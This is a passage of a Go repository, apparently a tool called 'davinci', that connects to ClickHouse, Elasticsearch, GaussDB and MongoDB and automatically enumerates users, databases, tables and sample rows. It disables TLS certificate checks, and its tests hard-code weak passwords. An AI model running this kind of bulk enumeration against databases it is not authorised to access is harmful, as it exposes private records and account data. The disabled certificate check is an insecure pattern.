v.([]string); ok { 110 | logArray(data, l.output.Writer()) 111 | } else if data, ok := v.([][]string); ok { 112 | logTable(data, l.output.Writer()) 113 | } else { 114 | l.output.Println(v) 115 | } 116 | 117 | } 118 | 119 | func Info(v ...any) { 120 | if logLevel <= InfoLevel { 121 | getLogger().info.Println(v...) 122 | } 123 | 124 | } 125 | 126 | func Warn(v ...any) { 127 | if logLevel <= WarnLevel { 128 | getLogger().warn.Println(v...) 129 | } 130 | } 131 | 132 | func Error(v ...any) { 133 | if logLevel <= ErrorLevel { 134 | getLogger().error.Println(v...) 135 | } 136 | } 137 | 138 | func logTable(result [][]string, writer io.Writer) { 139 | if result == nil || len(result) == 0 { 140 | return 141 | } 142 | table := tablewriter.NewWriter(writer) 143 | table.SetHeader(result[0]) 144 | 145 | for i := 1; i < len(result); i++ { 146 | table.Append(result[i]) 147 | } 148 | table.Render() 149 | } 150 | 151 | func logArray(result []string, writer io.Writer) { 152 | if result == nil || len(result) == 0 { 153 | return 154 | } 155 | table := tablewriter.NewWriter(writer) 156 | table.SetHeader([]string{result[0]}) 157 | for i := 1; i < len(result); i++ { 158 | table.Append([]string{result[i]}) 159 | } 160 | table.Render() 161 | } 162 | -------------------------------------------------------------------------------- /common/log/log_test.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestLogger(t *testing.T) { 8 | 9 | defer Close() 10 | Output([][]string{{"title"}, {"data"}}) 11 | Output("new output") 12 | Info("new info\nqq") 13 | Warn("new warn") 14 | Error("new error") 15 | 16 | } 17 | -------------------------------------------------------------------------------- /common/net.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "crypto/tls" 5 | "davinci/common/log" 6 | "fmt" 7 | "github.com/projectdiscovery/mapcidr" 8 | "net" 9 | "net/http" 10 | "strconv" 11 | "strings" 12 | ) 13 | 14 | var client *http.Client 15 | 16 | func GetHttpClient() *http.Client { 17 | if client == nil { 18 | client = &http.Client{ 19 | Transport: &http.Transport{ 20 | TLSClientConfig: &tls.Config{ 21 | // 忽略证书校验 22 | InsecureSkipVerify: true, 23 | }, 24 | }, 25 | } 26 | } 27 | return client 28 | } 29 | 30 | func Request(req *http.Request) *http.Response { 31 | client := GetHttpClient() 32 | res, err := client.Do(req) 33 | if err != nil { 34 | log.Warn(err) 35 | return nil 36 | } 37 | return res 38 | } 39 | 40 | func GetAvailablePort() (int, error) { 41 | address, err := net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:0", "0.0.0.0")) 42 | if err != nil { 43 | return 0, err 44 | } 45 | 46 | listener, err := net.ListenTCP("tcp", address) 47 | if err != nil { 48 | return 0, err 49 | } 50 | 51 | defer listener.Close() 52 | return listener.Addr().(*net.TCPAddr).Port, nil 53 | 54 | } 55 | 56 | func ParseIps(ipDesc string) []string { 57 | // 合法ip 58 | if net.ParseIP(ipDesc) != nil { 59 | return []string{ipDesc} 60 | } 61 | // cidr 62 | if iplist, err := mapcidr.IPAddresses(ipDesc); err == nil { 63 | return delBroadcast(iplist) 64 | } 65 | // - 66 | var iplist []string 67 | index := strings.Index(ipDesc, "-") 68 | length := len(ipDesc) 69 | if index > 0 && index < length { 70 | ipStart := ipDesc[0:index] 71 | ipEndNumStr := ipDesc[index+1 : length] 72 | ipStartParse := net.ParseIP(ipStart) 73 | if ipStartParse != nil && ipStartParse.To4() != nil { 74 | ips := strings.Split(ipStart, ".") 75 | ipStartNumStr := ips[3] 76 | ipStartNum, err1 := strconv.Atoi(ipStartNumStr) 77 | ipEndNum, err2 := strconv.Atoi(ipEndNumStr) 78 | if err1 == nil && err2 == nil && ipStartNum <= ipEndNum { 79 | for i := ipStartNum; i <= ipEndNum; i++ { 80 | ip := fmt.Sprintf("%s.%s.%s.%d", ips[0], ips[1], ips[2], i) 81 | iplist = append(iplist, ip) 82 | } 83 | return delBroadcast(iplist) 84 | } 85 | } 86 | } 87 | log.Warn("parse ip fail: ", ipDesc) 88 | return []string{} 89 | } 90 | 91 | func delBroadcast(ips []string) []string { 92 | var newIps []string 93 | for _, ip := range ips { 94 | if strings.HasSuffix(ip, ".0") { 95 | log.Info("del broadcast in ip list: ", ip) 96 | continue 97 | } 98 | newIps = append(newIps, ip) 99 | } 100 | return newIps 101 | } 102 | -------------------------------------------------------------------------------- /common/net_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "davinci/common/log" 5 | "fmt" 6 | "os" 7 | "testing" 8 | ) 9 | 10 | func init() { 11 | log.AddLogWriter(os.Stdout) 12 | } 13 | 14 | func TestParseIp(t *testing.T) { 15 | ip := "192.158.1.25" 16 | fmt.Println(ParseIps(ip)) 17 | ip = "192.168.1.1-22" 18 | fmt.Println(ParseIps(ip)) 19 | ip = "192.168.1.0/23" 20 | fmt.Println(ParseIps(ip)) 21 | ip = "192.255.256.1-20" 22 | fmt.Println(ParseIps(ip)) 23 | } 24 | -------------------------------------------------------------------------------- /common/string_util.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "math/rand" 7 | "strings" 8 | "time" 9 | ) 10 | 11 | var escapeMap = map[string]string{ 12 | "\\a": "\a", 13 | "\\b": "\b", 14 | "\\f": "\f", 15 | "\\n": "\n", 16 | "\\r": "\r", 17 | "\\t": "\t", 18 | "\\v": "\v", 19 | "\\\\": "\\", 20 | "\\'": "'", 21 | "\\\"": "\"", 22 | "\\?": "?", 23 | "\\0": "", 24 | } 25 | 26 | func findCharNotInStr(content string, target rune) []int { 27 | stack := make([]rune, 0) 28 | var result []int 29 | for i := 1; i < len(content); i++ { 30 | c := content[i] 31 | var top rune 32 | if len(stack) == 0 { 33 | top = rune(0) 34 | } else { 35 | top = stack[len(stack)-1] 36 | } 37 | 38 | switch c { 39 | case '"': 40 | if top == '"' { 41 | stack = stack[:len(stack)-1] 42 | } else if top != '\'' { 43 | stack = append(stack, '"') 44 | } 45 | case '\'': 46 | if top == '\'' { 47 | stack = stack[:len(stack)-1] 48 | } else if top != '"' { 49 | stack = append(stack, '\'') 50 | } 51 | case uint8(target): 52 | if len(stack) == 0 { 53 | result = append(result, i) 54 | } 55 | case '\\': 56 | i++ 57 | } 58 | } 59 | return result 60 | } 61 | 62 | func FindFirstCharNotInStr(content string, target rune) int { 63 | indexs := findCharNotInStr(content, target) 64 | if len(indexs) == 0 { 65 | return -1 66 | } 67 | return indexs[0] 68 | } 69 | 70 | func FindLastCharNotInStr(content string, target rune) int { 71 | indexs := findCharNotInStr(content, target) 72 | if len(indexs) == 0 { 73 | return -1 74 | } 75 | return indexs[len(indexs)-1] 76 | } 77 | 78 | func SplitCmd(content string, target rune) []string { 79 | indexs := findCharNotInStr(content, target) 80 | if len(indexs) == 0 { 81 | return []string{content} 82 | } 83 | var result []string 84 | start := 0 85 | for _, index := range indexs { 86 | result = append(result, content[start:index]) 87 | start = index + 1 88 | } 89 | result = append(result, content[start:]) 90 | return result 91 | } 92 | 93 | func DelElement(array []string, element string) []string { 94 | var result []string 95 | for _, val := range array { 96 | if val != element { 97 | result = append(result, val) 98 | } 99 | } 100 | return result 101 | } 102 | 103 | func DelEmptyEle(array []string) []string { 104 | return DelElement(array, "") 105 | } 106 | 107 | func GetRandomString(n int) string { 108 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") 109 | return random(n, letters) 110 | } 111 | 112 | func GetRandomAlapha(n int) string { 113 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 114 | return random(n, letters) 115 | } 116 | 117 | func GetRandomNum(n int) string { 118 | var letters = []rune("0123456789") 119 | return random(n, letters) 120 | } 121 | 122 | func random(n int, letters []rune) string { 123 | rand.Seed(time.Now().UnixNano()) 124 | b := make([]rune, n) 125 | for i := range b { 126 | b[i] = letters[rand.Intn(len(letters))] 127 | } 128 | return string(b) 129 | } 130 | 131 | // return version > version2 132 | func CompareVersion(version1, version2, split string) bool { 133 | version1Array := strings.Split(version1, split) 134 | version2Array := strings.Split(version2, split) 135 | 136 | len1 := len(version1Array) 137 | len2 := len(version2Array) 138 | len := len1 139 | if len1 > len2 { 140 | len = len2 141 | } 142 | 143 | for i := 0; i < len; i++ { 144 | if version1Array[i] > version2Array[i] { 145 | return true 146 | } 147 | } 148 | if strings.HasPrefix(version1, version2) && len1 > len2 { 149 | return true 150 | } 151 | return false 152 | } 153 | 154 | func ResolveEscapeCharacters(str string) string { 155 | if str[0] == '"' { 156 | str = str[1:] 157 | } 158 | length := len(str) 159 | if str[length-1] == '"' { 160 | str = str[:length-1] 161 | } 162 | 163 | for key, value := range escapeMap { 164 | str = strings.ReplaceAll(str, key, value) 165 | } 166 | return str 167 | } 168 | 169 | func FormatJson(content string) string { 170 | var prettyJson bytes.Buffer 171 | if err := json.Indent(&prettyJson, []byte(content), "", " "); err != nil { 172 | return content 173 | } else { 174 | return prettyJson.String() 175 | } 176 | } 177 | 178 | func GetColumnData(table [][]string, column int) []string { 179 | var result []string 180 | if len(table) <= 1 { 181 | return []string{} 182 | } 183 | for _, v := range table[1:] { 184 | result = append(result, v[column]) 185 | } 186 | 187 | return result 188 | } 189 | 190 | func Contains(str_array []string, target string) bool { 191 | for _, element := range str_array { 192 | if target == element { 193 | return true 194 | } 195 | } 196 | return false 197 | } 198 | -------------------------------------------------------------------------------- /core/clickhouse.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "database/sql" 5 | "davinci/common" 6 | "davinci/common/log" 7 | "fmt" 8 | _ "github.com/ClickHouse/clickhouse-go" 9 | "strings" 10 | ) 11 | 12 | var excludeClickHouseDB = []string{ 13 | "information_schema", 14 | "default", 15 | "system", 16 | } 17 | 18 | type ClickHouse struct { 19 | conn *sql.DB 20 | Host string 21 | Port int 22 | User string 23 | Passwd string 24 | DbName string 25 | Cmd string 26 | } 27 | 28 | func (c *ClickHouse) connect() error { 29 | var err error 30 | if c.conn == nil { 31 | dataSrc := fmt.Sprintf("tcp://%s:%d?username=%s&password=%s&database=%s", c.Host, c.Port, c.User, c.Passwd, c.DbName) 32 | 33 | if c.conn, err = sql.Open("clickhouse", dataSrc); err != nil { 34 | log.Error(err) 35 | } else if err = c.conn.Ping(); err != nil { 36 | log.Error(err) 37 | } 38 | } 39 | return err 40 | } 41 | 42 | func (c *ClickHouse) Close() { 43 | if c.conn != nil { 44 | c.conn.Close() 45 | } 46 | } 47 | 48 | func (c *ClickHouse) ExecuteOnce() { 49 | if c.connect() != nil { 50 | return 51 | } 52 | 53 | result := c.execute(c.Cmd) 54 | log.Output(result) 55 | } 56 | 57 | func (c *ClickHouse) AutoGather() { 58 | if c.connect() != nil { 59 | return 60 | } 61 | 62 | log.Output(c.getVersion()) 63 | log.Output(c.getUsers()) 64 | databases := c.getDatabases() 65 | log.Output(databases) 66 | log.Info(fmt.Sprintf("exclude databbase(built-in): %s", strings.Join(excludeClickHouseDB, ","))) 67 | for _, database := range common.GetColumnData(databases, 0) { 68 | if common.Contains(excludeClickHouseDB, strings.ToLower(database)) { 69 | continue 70 | } 71 | tables := c.getTables(database) 72 | log.Output(tables) 73 | for _, table := range common.GetColumnData(tables, 0) { 74 | tableStruct := c.getTableStruct(database, table) 75 | log.Output(tableStruct) 76 | dataSum := c.getSumRows(database, table) 77 | log.Output(dataSum) 78 | datas := c.getFirst5Rows(database, table) 79 | log.Output(datas) 80 | } 81 | } 82 | } 83 | 84 | func (c *ClickHouse) Shell() { 85 | 86 | if c.connect() != nil { 87 | return 88 | } 89 | sqlShell(c.execute) 90 | } 91 | 92 | func (c *ClickHouse) SetHost(host string) { 93 | c.Host = host 94 | } 95 | func (c *ClickHouse) SetPort(port int) { 96 | c.Port = port 97 | } 98 | 99 | func (c *ClickHouse) SetCmd(cmd string) { 100 | c.Cmd = cmd 101 | } 102 | 103 | func (c *ClickHouse) execute(cmd string) [][]string { 104 | return execute(c.conn, cmd) 105 | } 106 | 107 | func (c *ClickHouse) getDatabases() [][]string { 108 | sql := "show databases;" 109 | log.Info("get databases") 110 | return c.execute(sql) 111 | } 112 | 113 | func (c *ClickHouse) getTables(dbName string) [][]string { 114 | sql := fmt.Sprintf("SELECT table_name FROM information_schema.tables where table_schema='%s';", dbName) 115 | log.Info(fmt.Sprintf("get tables in %s ", dbName)) 116 | return c.execute(sql) 117 | } 118 | 119 | func (c *ClickHouse) getColumns(dbName, tbName string) [][]string { 120 | sql := fmt.Sprintf("SELECT column_name,columns_type FROM information_schema.columns where table_schema='%s' and table_name = '%s';", dbName, tbName) 121 | return c.execute(sql) 122 | } 123 | 124 | func (c *ClickHouse) getTableStruct(dbName, tbName string) [][]string { 125 | sql := fmt.Sprintf("DESC %s.%s;", dbName, tbName) 126 | log.Info(fmt.Sprintf("get table [%s] struct", tbName)) 127 | return c.execute(sql) 128 | } 129 | 130 | func (c *ClickHouse) getSumRows(dbName, tbName string) [][]string { 131 | sql := fmt.Sprintf("select count(*) from %s.%s;", dbName, tbName) 132 | log.Info(fmt.Sprintf("get total number of rows in table [%s]", tbName)) 133 | return c.execute(sql) 134 | } 135 | 136 | func (c *ClickHouse) getFirst5Rows(dbName, tbName string) [][]string { 137 | sql := fmt.Sprintf("select * from %s.%s limit 5;", dbName, tbName) 138 | log.Info(fmt.Sprintf("get first 5 rows in table [%s]", tbName)) 139 | return c.execute(sql) 140 | } 141 | 142 | func (c *ClickHouse) getUsers() [][]string { 143 | sql := "select * from system.users;" 144 | log.Info("get users") 145 | return c.execute(sql) 146 | } 147 | 148 | func (c *ClickHouse) getVersion() [][]string { 149 | sql := "select version();" 150 | log.Info("get version") 151 | return c.execute(sql) 152 | } 153 | -------------------------------------------------------------------------------- /core/elasticsearch.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "fmt" 7 | "io/ioutil" 8 | "net/http" 9 | "strings" 10 | ) 11 | 12 | type ElasticSearch struct { 13 | Url string 14 | User string 15 | Passwd string 16 | endpoint string 17 | Check bool 18 | } 19 | 20 | func (e *ElasticSearch) genUrl(path string) string { 21 | if e.endpoint == "" { 22 | if strings.HasSuffix(e.Url, "/") { 23 | e.endpoint = e.Url[:len(e.Url)-1] 24 | } else { 25 | e.endpoint = e.Url 26 | } 27 | if e.User != "" && e.Passwd != "" { 28 | basic := fmt.Sprintf("%s:%s", e.User, e.Passwd) 29 | if strings.HasPrefix(e.endpoint, "https://") { 30 | e.endpoint = "https://" + basic + "@" + e.endpoint[8:] 31 | } else { 32 | e.endpoint = "http://" + basic + "@" + e.endpoint[7:] 33 | } 34 | } 35 | 36 | } 37 | if strings.HasSuffix(path, "/") { 38 | path = path[:len(path)-1] 39 | } 40 | return fmt.Sprintf("%s/%s", e.endpoint, path) 41 | 42 | } 43 | 44 | func (e *ElasticSearch) ExecuteOnce() { 45 | log.Warn("ElasticSearch do not support execute mode") 46 | } 47 | 48 | func (e *ElasticSearch) Shell() { 49 | log.Warn("ElasticSearch do not support shell mode") 50 | } 51 | 52 | func (e *ElasticSearch) AutoGather() { 53 | if !e.check() { 54 | log.Warn("the elasticsearch is not enable") 55 | return 56 | } 57 | log.Output(e.GetNodes()) 58 | log.Output(common.FormatJson(e.GetCount())) 59 | log.Output(common.FormatJson(e.getUsers())) 60 | indices := e.GetIndices() 61 | log.Output(indices) 62 | for _, index := range common.GetColumnData(indices, 2) { 63 | log.Output(common.FormatJson(e.GetIndexCount(index))) 64 | log.Output(common.FormatJson(e.GetMapping(index))) 65 | log.Output(common.FormatJson(e.getFirst5Docs(index))) 66 | } 67 | } 68 | 69 | func (e *ElasticSearch) SetHost(host string) { 70 | //c.Host = host 71 | } 72 | func (e *ElasticSearch) SetPort(port int) { 73 | //c.Port = port 74 | } 75 | 76 | func (e *ElasticSearch) SetCmd(cmd string) { 77 | 78 | } 79 | 80 | func (e *ElasticSearch) check() bool { 81 | if !e.Check { 82 | return true 83 | } 84 | content := e.getContent("") 85 | if strings.Contains(strings.ToLower(content), "you know, for search") { 86 | return true 87 | } else { 88 | log.Warn(content) 89 | } 90 | return false 91 | } 92 | 93 | func (e *ElasticSearch) GetNodes() [][]string { 94 | log.Info("cluster info") 95 | path := "_cat/nodes?v" 96 | return e.getLinesData(path) 97 | } 98 | 99 | func (e *ElasticSearch) GetIndices() [][]string { 100 | log.Info("get all indices") 101 | path := "_cat/indices?v" 102 | return e.getLinesData(path) 103 | } 104 | 105 | func (e *ElasticSearch) GetMapping(index string) string { 106 | log.Info("get index mapping: " + index) 107 | path := fmt.Sprintf("%s/_mapping", index) 108 | return e.getContent(path) 109 | } 110 | 111 | func (e *ElasticSearch) GetCount() string { 112 | log.Info("doc count") 113 | path := "_count" 114 | return e.getContent(path) 115 | } 116 | 117 | func (e *ElasticSearch) GetIndexCount(index string) string { 118 | log.Info("doc count in: " + index) 119 | path := fmt.Sprintf("%s/_count", index) 120 | return e.getContent(path) 121 | } 122 | 123 | func (e *ElasticSearch) GetDocuments(index string, size int) string { 124 | path := fmt.Sprintf("%s/_search?size=%d", index, size) 125 | return e.getContent(path) 126 | } 127 | 128 | func (e *ElasticSearch) getFirst5Docs(index string) string { 129 | log.Info("get first 5 document in: " + index) 130 | return e.GetDocuments(index, 5) 131 | } 132 | 133 | func (e *ElasticSearch) getUsers() string { 134 | log.Info("try get users,api only enabled when the auth mode open") 135 | path := "_xpack/security/user" 136 | return e.getContent(path) 137 | } 138 | 139 | func (e *ElasticSearch) getLinesData(path string) [][]string { 140 | url := e.genUrl(path) 141 | method := "GET" 142 | log.Info(fmt.Sprintf("%s /%s", method, path)) 143 | payload := strings.NewReader(``) 144 | req, _ := http.NewRequest(method, url, payload) 145 | var result [][]string 146 | if rsp := common.Request(req); rsp != nil { 147 | defer rsp.Body.Close() 148 | if body, err := ioutil.ReadAll(rsp.Body); err == nil { 149 | lines := strings.Split(string(body), "\n") 150 | for _, line := range lines { 151 | data := common.DelElement(strings.Split(line, " "), "") 152 | if len(data) != 0 { 153 | result = append(result, data) 154 | } 155 | } 156 | } 157 | } 158 | return result 159 | } 160 | 161 | func (e *ElasticSearch) getContent(path string) string { 162 | url := e.genUrl(path) 163 | method := "GET" 164 | log.Info(fmt.Sprintf("%s /%s", method, path)) 165 | payload := strings.NewReader(``) 166 | req, _ := http.NewRequest(method, url, payload) 167 | if rsp := common.Request(req); rsp != nil { 168 | defer rsp.Body.Close() 169 | if body, err := ioutil.ReadAll(rsp.Body); err == nil { 170 | return string(body) 171 | } else { 172 | log.Warn(err) 173 | } 174 | } 175 | return "" 176 | } 177 | -------------------------------------------------------------------------------- /core/elasticsearch_test.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common/log" 5 | "os" 6 | "testing" 7 | ) 8 | 9 | func init() { 10 | log.AddLogWriter(os.Stdout) 11 | } 12 | 13 | func TestElasticSearch_GetNodes(t *testing.T) { 14 | 15 | elastic := &ElasticSearch{ 16 | Url: "http://192.168.159.135:9200/", 17 | User: "kibana", 18 | Passwd: "123456", 19 | } 20 | nodes := elastic.GetNodes() 21 | log.Output(nodes) 22 | } 23 | 24 | func TestElasticSearch_GetIndices(t *testing.T) { 25 | elastic := &ElasticSearch{ 26 | Url: "http://192.168.83.129:9200/", 27 | User: "elastic", 28 | Passwd: "123456", 29 | } 30 | nodes := elastic.GetIndices() 31 | log.Output(nodes) 32 | } 33 | 34 | func TestElasticSearch_GetMapping(t *testing.T) { 35 | elastic := &ElasticSearch{ 36 | Url: "http://192.168.159.135:9200/", 37 | User: "elastic", 38 | Passwd: "123456", 39 | } 40 | result := elastic.GetMapping("kibana_sample_data_ecommerce") 41 | log.Output(result) 42 | 43 | } 44 | 45 | func TestElasticSearch_GetDocuments(t *testing.T) { 46 | elastic := &ElasticSearch{ 47 | Url: "http://192.168.159.135:9200/", 48 | User: "elastic", 49 | Passwd: "123456", 50 | } 51 | result := elastic.GetDocuments("kibana_sample_data_ecommerce", 1) 52 | log.Output(result) 53 | 54 | } 55 | 56 | func TestElasticSearch_AutoGather(t *testing.T) { 57 | elastic := &ElasticSearch{ 58 | Url: "http://192.168.83.129:9200/", 59 | User: "elastic", 60 | Passwd: "12345", 61 | Check: true, 62 | } 63 | elastic.AutoGather() 64 | } 65 | -------------------------------------------------------------------------------- /core/gaussdb.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "fmt" 7 | "strings" 8 | ) 9 | 10 | var excludeGsDB = []string{ 11 | "template1", 12 | "template0", 13 | } 14 | 15 | var excludeGsSchema = []string{ 16 | "pg_toast", 17 | "cstore", 18 | "pkg_service", 19 | "dbe_perf", 20 | "snapshot", 21 | "blockchain", 22 | "pg_catalog", 23 | "sqladvisor", 24 | "dbe_pldebugger", 25 | "dbe_pldeveloper", 26 | "dbe_sql_util", 27 | "information_schema", 28 | "db4ai", 29 | } 30 | 31 | type GaussDB struct { 32 | *Pgsql 33 | } 34 | 35 | func (g *GaussDB) AutoGather() { 36 | if g.connect() != nil { 37 | return 38 | } 39 | 40 | log.Output(g.getVersion()) 41 | log.Output(g.getUsers()) 42 | databases := g.getDatabases() 43 | log.Output(databases) 44 | 45 | log.Info(fmt.Sprintf("exclude database(built-in): %s", strings.Join(excludeGsDB, ","))) 46 | for _, db := range common.GetColumnData(databases, 0) { 47 | if common.Contains(excludeGsDB, strings.ToLower(db)) { 48 | continue 49 | } 50 | g.gatherInOneDb(db) 51 | } 52 | } 53 | 54 | // 55 | //func (g *GaussDB) SetHost(host string) { 56 | // g.Host = host 57 | //} 58 | //func (g *GaussDB) SetPort(port int) { 59 | // g.Port = port 60 | //} 61 | // 62 | //func (g *GaussDB) SetCmd(cmd string) { 63 | // g.Cmd = cmd 64 | //} 65 | 66 | func (g *GaussDB) gatherInOneDb(dbName string) { 67 | g.Close() 68 | g.DbName = dbName 69 | if g.connect() != nil { 70 | return 71 | } 72 | currentDb := g.getCurrentDb() 73 | log.Output(currentDb) 74 | dbSzie := g.getDatabaseSize(dbName) 75 | log.Output(dbSzie) 76 | schemas := g.getSchemas() 77 | log.Output(schemas) 78 | 79 | log.Info(fmt.Sprintf("exclude schemas(built-in): %s", strings.Join(excludeGsSchema, ","))) 80 | for _, schema := range common.GetColumnData(schemas, 0) { 81 | if common.Contains(excludeGsSchema, strings.ToLower(schema)) { 82 | continue 83 | } 84 | tables := g.getTables(schema) 85 | log.Output(tables) 86 | for _, table := range common.GetColumnData(tables, 0) { 87 | tableStruct := g.getTableStruct(schema, table) 88 | log.Output(tableStruct) 89 | dataSum := g.getSumRows(schema, table) 90 | log.Output(dataSum) 91 | datas := g.getFirst5Rows(schema, table) 92 | log.Output(datas) 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /core/mongo/action.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "davinci/common" 5 | "fmt" 6 | "strings" 7 | ) 8 | 9 | const ( 10 | FindActionName = "find" 11 | FindOneActionName = "findOne" 12 | ) 13 | 14 | const ( 15 | Sort = "sort" 16 | Limit = "limit" 17 | Size = "size" 18 | ) 19 | 20 | type Action interface { 21 | } 22 | 23 | type ActionCmd struct { 24 | Db string 25 | Collection string 26 | Action Action 27 | } 28 | 29 | func ParseActionCmd(cmd string) (result interface{}) { 30 | 31 | firstActionArea := common.FindFirstCharNotInStr(cmd, '(') 32 | if firstActionArea == -1 { 33 | return cmd 34 | } 35 | rscDesc := cmd[0:firstActionArea] 36 | if strings.Count(rscDesc, ".") < 2 { 37 | result = fmt.Errorf("not found command") 38 | return 39 | } 40 | startActionIndex := strings.LastIndex(rscDesc, ".") 41 | splitDbIndex := strings.Index(rscDesc, ".") 42 | 43 | db := cmd[0:splitDbIndex] 44 | if db == "db" { 45 | db = "" 46 | } 47 | collection := cmd[splitDbIndex+1 : startActionIndex] 48 | actionName := cmd[startActionIndex+1 : firstActionArea] 49 | actionCmd := cmd[firstActionArea:] 50 | //log.Info("database:" + db) 51 | //log.Info("collection:" + collection) 52 | //log.Info("actionName:" + actionName) 53 | //log.Info("actionCmd:" + actionCmd) 54 | 55 | var action Action 56 | defer func() { 57 | if err := recover(); err != nil { 58 | result = err 59 | } 60 | }() 61 | switch actionName { 62 | case FindActionName: 63 | action = parseFindActions(actionCmd) 64 | case FindOneActionName: 65 | action = parseFindOneActions(actionCmd) 66 | default: 67 | result = fmt.Errorf("do not find action: %s, please check command", actionName) 68 | } 69 | 70 | result = &ActionCmd{ 71 | Db: db, 72 | Collection: collection, 73 | Action: action, 74 | } 75 | return 76 | } 77 | -------------------------------------------------------------------------------- /core/mongo/action_test.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "fmt" 5 | "testing" 6 | ) 7 | 8 | func TestName(t *testing.T) { 9 | //cmd := "db.aaa.bbb.ccc.find({\"name\":{\"$regex\":\"菜鸟.*\"}})" 10 | cmd := "db.runoob.find().sort().sort().limit(1)" 11 | actioncmd := ParseActionCmd(cmd).(*ActionCmd) 12 | fmt.Println(actioncmd.Db) 13 | fmt.Println(actioncmd.Collection) 14 | fmt.Println(actioncmd.Action) 15 | 16 | } 17 | -------------------------------------------------------------------------------- /core/mongo/find.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "davinci/common" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/siddontang/go/bson" 8 | "go.mongodb.org/mongo-driver/mongo/options" 9 | "strconv" 10 | "strings" 11 | ) 12 | 13 | type FindAction struct { 14 | Filter bson.M 15 | Opts []*options.FindOptions 16 | } 17 | 18 | type SizeAction struct { 19 | *FindAction 20 | } 21 | 22 | func parseFindActions(cmd string) interface{} { 23 | filter, optsArray, err := parseFilterAndOpts(cmd) 24 | if err != nil { 25 | panic(err) 26 | } 27 | var findOptions []*options.FindOptions 28 | var size = false 29 | for i := 0; i < len(optsArray); i++ { 30 | opt := optsArray[i] 31 | option, err := parseFindOptions(opt) 32 | if err != nil { 33 | panic(err) 34 | } 35 | if option.Comment != nil && *option.Comment == Size { 36 | if i != len(optsArray)-1 { 37 | return fmt.Errorf("size() function can only be used at the end") 38 | } 39 | size = true 40 | break 41 | } 42 | findOptions = append(findOptions, option) 43 | } 44 | if size { 45 | return &SizeAction{ 46 | FindAction: &FindAction{ 47 | Filter: filter, 48 | Opts: findOptions, 49 | }, 50 | } 51 | } 52 | return &FindAction{ 53 | Filter: filter, 54 | Opts: findOptions, 55 | } 56 | } 57 | 58 | func parseFilterAndOpts(cmd string) (bson.M, []string, error) { 59 | splitOptsIndex, err := findCloseBrackets(cmd) 60 | if err != nil { 61 | return nil, nil, err 62 | } 63 | filterDesc := cmd[1:splitOptsIndex] 64 | var optsArray []string 65 | 66 | if splitOptsIndex < len(cmd)-2 { 67 | optsString := cmd[splitOptsIndex+1:] 68 | if optsString[0] != '.' { 69 | return nil, nil, fmt.Errorf("invalid character: " + optsString) 70 | } 71 | optsArray = common.SplitCmd(optsString[1:], '.') 72 | } 73 | 74 | var filter = bson.M{} 75 | if filterDesc != "" { 76 | err := json.Unmarshal([]byte(filterDesc), &filter) 77 | if err != nil { 78 | return nil, nil, err 79 | } 80 | } 81 | 82 | return filter, optsArray, nil 83 | } 84 | 85 | func parseFindOptions(option string) (*options.FindOptions, error) { 86 | optionName, optionDesc, err := parseOpNameAndDesc(option) 87 | if err != nil { 88 | return nil, err 89 | } 90 | switch optionName { 91 | case Limit: 92 | if limit, err := strconv.ParseInt(optionDesc, 10, 64); err != nil { 93 | return nil, err 94 | } else { 95 | return options.Find().SetLimit(limit), nil 96 | } 97 | case Sort: 98 | if optionDesc == "" { 99 | return options.Find(), nil 100 | } 101 | var sortDesc bson.M 102 | if err := json.Unmarshal([]byte(optionDesc), &sortDesc); err != nil { 103 | return nil, err 104 | } 105 | return options.Find().SetSort(sortDesc), nil 106 | case Size: 107 | return options.Find().SetComment("size"), nil 108 | } 109 | return nil, fmt.Errorf("can not find the FindOption: %s, available options: [%s]", optionName, 110 | strings.Join([]string{Sort, Limit, Size}, ",")) 111 | } 112 | 113 | func parseOpNameAndDesc(option string) (string, string, error) { 114 | startFuncIndex := strings.Index(option, "(") 115 | endFuncIndex := strings.LastIndex(option, ")") 116 | if endFuncIndex < startFuncIndex || startFuncIndex < 0 || endFuncIndex < 0 || endFuncIndex != len(option)-1 { 117 | return "", "", fmt.Errorf("invalid character: " + option) 118 | } 119 | optionName := option[:startFuncIndex] 120 | optionDesc := option[startFuncIndex+1 : endFuncIndex] 121 | return optionName, optionDesc, nil 122 | } 123 | -------------------------------------------------------------------------------- /core/mongo/findone.go: -------------------------------------------------------------------------------- 1 | package mongo 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "github.com/siddontang/go/bson" 7 | "go.mongodb.org/mongo-driver/mongo/options" 8 | "strings" 9 | ) 10 | 11 | type FindOneAction struct { 12 | Filter bson.M 13 | Opts []*options.FindOneOptions 14 | } 15 | 16 | func parseFindOneActions(cmd string) *FindOneAction { 17 | filter, optsArray, err := parseFilterAndOpts(cmd) 18 | if err != nil { 19 | panic(err) 20 | } 21 | var findOneOptions []*options.FindOneOptions 22 | for _, opt := range optsArray { 23 | option, err := parseFindOneOptions(opt) 24 | if err != nil { 25 | panic(err) 26 | } 27 | findOneOptions = append(findOneOptions, option) 28 | } 29 | return &FindOneAction{ 30 | Filter: filter, 31 | Opts: findOneOptions, 32 | } 33 | } 34 | 35 | func parseFindOneOptions(option string) (*options.FindOneOptions, error) { 36 | optionName, optionDesc, err := parseOpNameAndDesc(option) 37 | if err != nil { 38 | return nil, err 39 | } 40 | switch 